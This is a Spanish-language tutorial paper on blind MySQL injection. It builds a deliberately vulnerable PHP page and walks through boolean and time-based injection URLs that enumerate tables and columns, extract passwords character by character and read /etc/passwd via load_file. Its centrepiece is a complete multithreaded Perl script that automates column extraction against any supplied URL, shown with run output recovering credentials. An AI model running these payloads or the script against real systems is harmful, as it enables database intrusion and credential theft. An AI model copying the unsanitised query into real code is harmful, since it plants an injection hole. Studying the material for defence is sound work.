Blind MySQL Injection

Técnicas de inyección a ciegas en MySQL

Autor: ka0x <ka0x01[at]gmail.com>

Colaboradores:
- Piker <piker0x90[at]gmail.com>
- NullWave07 <nullwave07[at]gmail.com>

Índice:

0x01: Introducción

Los administradores desactivan SHOW_ERRORS y SHOW_WARNINGS para que no se muestren posibles errores provocados en el interprete SQL. Estos errores se utilizan en los ataques SQL Injection para obtener información sobre la base de datos.
En Blind SQL Injection podemos atacar sin necesitar esta información.
Una aplicación web recibe datos desde el cliente. Los datos se utilizan para construir una consulta a la base de datos y extraer información. En los ataques de Sql Injection normales, cuando enviamos consultas SQL en la aplicación vulnerable nos imprime el resultado, pero en Blind SQL Injection no nos imprime nada (inyección a ciegas).
A partir de si muestra información o si no muestra información inyectamos valores True o False (Lógica Booleana).

0x02: Tabla de la DB y archivo vulnerable.

Tabla:

```
-- Table: users
-- by ka0x - D.O.M
-- Blind SQL Injection Paper

CREATE TABLE `users` (
  `id` int(10) unsigned NOT NULL auto_increment,
  `name` varchar(50) NOT NULL,
  `password` varchar(50) NOT NULL,
  PRIMARY KEY  (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

-- users --
INSERT INTO `users` VALUES (1, 'administrator', '1234%&_');
INSERT INTO `users` VALUES (2, 'ka0x', 't3st_bl1nd');
INSERT INTO `users` VALUES (3, 'bush', 'terrorist');
-- eof --
```

```
mysql> use blind;
Database changed
mysql> select * from users;
+----+---------------+------------+
| id | name          | password   |
+----+---------------+------------+
|  1 | administrator | 1234%&_    |
|  2 | ka0x          | t3st_bl1nd |
|  3 | bush          | terrorist  |
+----+---------------+------------+
3 rows in set (0.00 sec)

mysql>
```

Archivo vulnerable:

```
<?php

# ---- CONFIG -----
$host = 'localhost';
$dbuser = 'root';
$dbpass = 'password';
$dbname = 'blind';
# -----------------

echo "<title>Blind SQL Injection Test - D.O.M LABS 2008</title>";

$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);


$sql = "SELECT * FROM users WHERE id=".$_GET['id'];
            $query = mysql_query($sql);

            if(@mysql_num_rows($query)==0){
                    die('No hay columnas');
            }

            $result=@mysql_fetch_row($query);
            echo "<h2><center><u>Blind SQL Injection Test<br>D.O.M LABS</u><br><
br>";
            echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";
            echo "<font color='#FF0000'>username: </font>".$result[1]."<br>";
            // echo "Password: ".$result[2]."<br>";
            echo "</h2></center>";

            die();

?>
```

0x03: Comprobando si el servidor es vulnerable

```
http://localhost/blind.php?id=1 AND 1=1
```

En este ejemplo mostramos valor true, si la aplicación es vulnerable nos debería imprimir el resultado que esta asignado (el user_id y el username).

```
http://localhost/blind.php?id=1 and 1=0
```

Valor falso, si la aplicación es vulnerable no nos debería de mostrar nada.

0x04: Sacando información

*** Función COUNT:**
Devuelve un contador con el número de filas recuperadas, contengan o no valores NULL.

```
mysql> use blind;
Database changed
mysql> select COUNT(*) from users;
+----------+
| COUNT(*) |
+----------+
|        3 |
+----------+
1 row in set (0.00 sec)
mysql>
```

Veamos, vamos a buscar la tabla donde están los usuarios, ¿como se llamara? Probemos "admin" como nombre de la tabla haber si existe.

```
http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM admin)
```

Bien, al no existir la tabla "admin" nos dará un valor falso y no se mostrara en la página nada.

```
http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM users)
```

Al existir la tabla “users”, nos da un valor verdadero y se muestra en la página lo que este asignado.

0x05: Sacando número de registros de la tabla "users"

Ahora veremos como sacar el número de registros que tiene la tabla "users".

```
http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM users) > 4
```

Como la tabla tiene 3 registros nos dará un valor false, o sea no mostrará nada **(3 < 4)**

```
http://localhost/blind.php?id=1 AND (SELECT Count(*) FROM users) = 3
```

En este caso nos dará un valor true, ya que la tabla tiene 3 registros.

0x06: Buscando los nombres de las columnas

```
http://localhost/blind.php?id=1 AND(SELECT Count(username) FROM users)
```

Como no existe la columna “username”, efectivamente nos da un valor false.

```
http://localhost/blind.php?id=1 AND(SELECT Count(password) FROM users)
```

Al existir la columna password, nos da un valor true y nos muestra en contenido asignado.
Bien ya tenemos el nombre de una columna, solo tendríamos que ir probando y buscando otras.

0x07: Leiendo datos de la columna

```
http://localhost/blind.php?id=1 AND (SELECT length(password) FROM users where id=1) > 9
```

Al tener la contraseña 7 caracteres, nos devolverá un valor FALSE.

```
http://localhost/blind.php?id=1 AND (SELECT length(password) FROM users where id=1) = 7
```

Como la contraseña tiene 7 caracteres, nos devolverá un valor TRUE.

*** La función LENGTH** devuelve la longitud de la cadena str, medida en bytes.
*** La función SUBSTRING** se usa para extraer una subcadena de otra cadena, especificando la posición del primer carácter y el número de caracteres que se desean extraer.

Ejemplo SUBSTRING:

```
mysql> select SUBSTRING('ka0x',3);
+---------------------+
| SUBSTRING('ka0x',3) |
+---------------------+
| 0x                  |
+---------------------+
1 row in set (0.00 sec)

mysql>
```

0x07a: Leiendo registros de la tabla

```
http://localhost/blind.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),1,1))=49

ASCII 49 = 1
```

Como la contraseña del usuario empieza por 1, nos devolverá un valor true.
Ya tenemos el primer carácter de la contraseña.

```
http://localhost/blind.php?id=1 AND ascii(substring((SELECT password FROM users where id=1),2,1))=50

ASCII 50 = 2
```

TRUE, ya tenemos el segundo carácter de la contraseña y así seria todo el rato hasta dar con la contraseña completa. Para hacer todo este proceso, lo aconsejable seria programar un pequeño script para simplificar el proceso ya que si la contraseña tiene 10 caracteres o más, imagínense lo que podemos tardar en conseguir con la contraseña entera, por ello aquí va el ejemplo:

```
#!/usr/bin/perl -W

# Blind MySQL Injection Paper
# example brute force

# -- OPCIONS --
my $MAX_FIELD_LENGTH = 200 ;
my $EXIT_IF_NO_CHAR = 1 ;
my $DEFAULT_THREADS = 15 ;
my $DEFAULT_THREADS_TIMEOUT = 30 ;
my @ascii = ( 33 .. 123 ) ;
my $DEFAULT_THREADS_TIME = 1 ;
# ---

use LWP::UserAgent ;

sub _HELP_AND_EXIT
{
      die "

  ./$0  -u <url>  -tn <table>  -cn <column>  -p <pattern>

 Options:
  -u    <url>               Ex: http://www.google.es/vuln.php?id=1
  -tn   <table_name>        Table name.
  -cn   <column_name>       Column name.
  -p    <pattern>           HTML pattern.

 Other:
  -t    <#>                 Threads, default '$DEFAULT_THREADS'.
  -l    <#>                 Maximum table name length '$MAX_FIELD_LENGTH'.
  -T    <#>                 Timeout.
  -h                        Help (also with --help).
" ;
}


      my ($p, $w) = ({ @ARGV }, { }) ;

      map {
            &_HELP_AND_EXIT if $_ eq '--help' or $_ eq '-h' ;
      } keys %$p ;

      map {
            die "[!] Require: $_\n" unless $p->{ $_ } ;
      } qw/-u -tn -cn -p/ ;

      $p->{'-t'} = ( $p->{'-t'} and $p->{'-t'} =~ /^\d+$/ ) ? $p->{'-t'} : ( $w-
>{'-t'} = $DEFAULT_THREADS ) ;
      $p->{'-l'} = ( $p->{'-l'} and $p->{'-l'} =~ /^\d+$/ ) ? $p->{'-l'} : ( $w-
>{'-l'} = $MAX_FIELD_LENGTH ) ;
      $p->{'-T'} = ( $p->{'-T'} and $p->{'-T'} =~ /^\d+$/ ) ? $p->{'-T'} : ( $w-
>{'-T'} = $DEFAULT_THREADS_TIMEOUT ) ;

      map {
            warn "[i] Getting default: $_ $w->{ $_ }\n" ;
      } sort keys %$w ;

      ( &_IS_VULN( $p ) ) ? &_START_WORK( $p ) : die "[i] Bad pattern ? Isn't
vulnerable ?\n" ;
```

```
sub _START_WORK
{
	my $p = shift ;

	($p->{'id_value'})	= ( $p->{'-u'} =~ /(\d+)$/ ) ;		# Get the
id value

	my $position = 1 ;

	pipe(R, W) ;
	pipe(Rs, Ws) ;
	autoflush STDOUT 1 ;

	my $sql_message = '' ;
	my $msg = '' ;
	my @pid ;

	while( $position <= $p->{'-l'} )
	{
		my $cf ;
		unless( $cf = fork ){ &_CHECKING( $p, $position ) ; exit(0) ; }
		push(@pid, $cf) ;

		my $count = 0 ;
		my $can_exit ;
		my $char_printed ;

		while(<R>)
		{
			chomp ;
			push(@pid, (split(/:/))[1] ) if /^pid/ ;

			my ($res, $pos, $ascii) = ( split(/ /, $_) ) ;
			$count++ if $pos == $position ;

			print "\b" x length($msg), ($msg = "$position $ascii " .
chr($ascii) ) ;

			if( $res eq 'yes' and $pos == $position ){
				$char_printed = $can_exit = 1 ;
				print Ws "STOP $position\n" ;
				$sql_message .= chr( $ascii ) ;
			}

			last if ( $can_exit or $count == @ascii );
		}

		map { waitpid($_, 0) } @pid ;

		unless( $char_printed )
		{
			if( $EXIT_IF_NO_CHAR )
			{
				warn "\n[!] \$EXIT_IF_NO_CHAR : I can't find a valid
character, position $position.\n"  ;
				last ;
			}
		}

		$position++ ;
```

```
	}

	print "[i] SQL_FIELD:\n$sql_message\n" ;

}

sub _CHECKING
{
	my ($p, $position) = @_ ;
	my $counter = 0 ;
	my $stop_position ;

	foreach my $ascii ( @ascii )
	{
		$counter++ ;

		if( $counter % $p->{'-t'} == 0 )
		{
			my $stop_position ;
			eval
			{
				$SIG{'ALRM'} = sub { die "non_stop\n" } ;
				alarm $DEFAULT_THREADS_TIME ;
				my $line = <Rs> ;
				$stop_position = (split( / /, $line))[1] ;
				alarm 0 ;
			} ;

			if( ($stop_position) and $stop_position == $position ){ print "\nnext position\n" ; exit(0) ; }
		}

		unless(my $pid = fork )
		{
			print Ws "pid:$pid\n" or die ;


			my $url = $p->{'-u'} .
				' AND ascii(substring((SELECT ' . $p->{'-cn'} .
				' FROM ' . $p->{'-tn'} . ' where id=' .
				$p->{'id_value'} . '),' . $position . ',1))='. $ascii ;

			my $ua = LWP::UserAgent->new ;
			$ua->timeout( $p->{'-T'} ) ;

			my $content ;
			while( 1 )
			{
				last if $content = $ua->get( $url )->content ;
			}

			( $content =~ /$p->{'-p'}/ ) ? print W "yes $position $ascii\n" : print W "no $position $ascii\n" ;

			exit( 0 ) ;
		}

	}
}



sub _IS_VULN
```

```
{
	my $p = shift ;

	my $ua = LWP::UserAgent->new ;
	$ua->timeout( $p->{'-T'} ) ;

	my ( $one, $two ) = (
		$ua->get( $p->{'-u'}." AND 1=1")->content ,
		$ua->get( $p->{'-u'}." AND 1=2")->content ,
	) ;

	return ($one =~ /$p->{'-p'}/ and $two !~ /$p->{'-p'}/) ? 1 : undef ;
}


__END__
```

Imagen:

```
[kaOx@domlabs:~/codes]$ perl blind.pl -h
Odd number of elements in anonymous hash at blind.pl line 38.


  ./blind.pl  -u <url>  -tn <table>  -cn <column>  -p <pattern>

 Options:
  -u    <url>               Ex: http://www.google.es/vuln.php?id=1
  -tn   <table_name>        Table name.
  -cn   <column_name>       Column name.
  -p    <pattern>           HTML pattern.

 Other:
  -t    <#>                 Threads, default '15'.
  -l    <#>                 Maximum table name length '200'.
  -T    <#>                 Timeout.
  -h                        Help (also with --help).
[kaOx@domlabs:~/codes]$
[kaOx@domlabs:~/codes]$ perl blind.pl -u http://localhost/blind.php?id=3 -tn users -cn name
-p user_id
[i] Getting default: -T 30
[i] Getting default: -l 200
[i] Getting default: -t 15
5 123 {
[!] $EXIT_IF_NO_CHAR : I can't find a valid character, position 5.
[i] SQL_FIELD:
bush
[kaOx@domlabs:~/codes]$ perl blind.pl -u http://localhost/blind.php?id=3 -tn users -cn passw
ord -p user_id
[i] Getting default: -T 30
[i] Getting default: -l 200
[i] Getting default: -t 15
10 123 {
[!] $EXIT_IF_NO_CHAR : I can't find a valid character, position 10.
[i] SQL_FIELD:
terrorist
[kaOx@domlabs:~/codes]$
```

0x08: load_file en inyección a ciegas

La función **load_file** lee ficheros del servidor y nos muestra su contenido como una cadena.

Por defecto el usuario root@localhost puede usar esta función y otros usuarios con privilegios FILE. Por ejemplo si queremos leer el fichero /etc/passwd:

```
http://localhost/blind.php?id=1 and
substring(load_file(0x2f6574632f706173737764),1,1)=CHAR(144)
```

Como todos los /etc/passwd empiezan por "`root:x:0`" puse CHAR(144) = r y efectivamente nos tira un valor TRUE. Para este proceso también vendría de ayuda realizar un script que realizaría esta función ya que podríamos estar meses para sacar el /etc/passwd.

0x09: La función benchmark

La función **benchmark** genera un retardo de tiempo. Como las aplicaciones con Blind SQL Injection no devuelven errores entonces no podemos determinar si la aplicación web es vulnerable o no. En estos casos es util para un atacante hacer una consulta a la base de datos para pausar por ejemplo en 5 segundos. Para que lo entiendan mejor, hice unas pruebas en mi localhost:

```
mysql> select benchmark(20000000, md5('ka0x'));
+----------------------------------+
| benchmark(20000000, md5('ka0x')) |
+----------------------------------+
|                                0 |
+----------------------------------+
1 row in set (45.80 sec)

mysql>
```

Calcula el hash md5 (ka0x) 20.000.000 de veces.

El tiempo que tardo son 45.80 segundos (en esto depende el procesador).
Así que si estaríamos probando haber si es vulnerable, la web generara un retardo en la solicitud de 45.80 segundos.

Ejemplo:
`http://localhost/blind.php?id=1/**/AND/benchmark(20000000,md5(0x6b613078))`

En muchos exploits podemos ver que en vez de buscar alguna palabra en la página Web vulnerable para ver si la consulta es correcta, usan la función benchmark para crear un retardo en la consulta de X segundos. Si la Web tarda X segundos en responder, guardamos el carácter, si no tarda el tiempo previsto, buscamos otro carácter.

Más información sobre esta función:
http://www.milw0rm.com/papers/149

___EOF___

Bueno espero que les haya gustado este pequeño paper y que hayan resuelto algunas de las dudas que tenían. Se lo dedico a mis colegas y a todos los interesados por la seguridad informática. Cualquier duda que tengan respecto a este tema pueden contactar conmigo enviándome un email a ka0x01[at]gmail.com

Un saludo.

// ka0x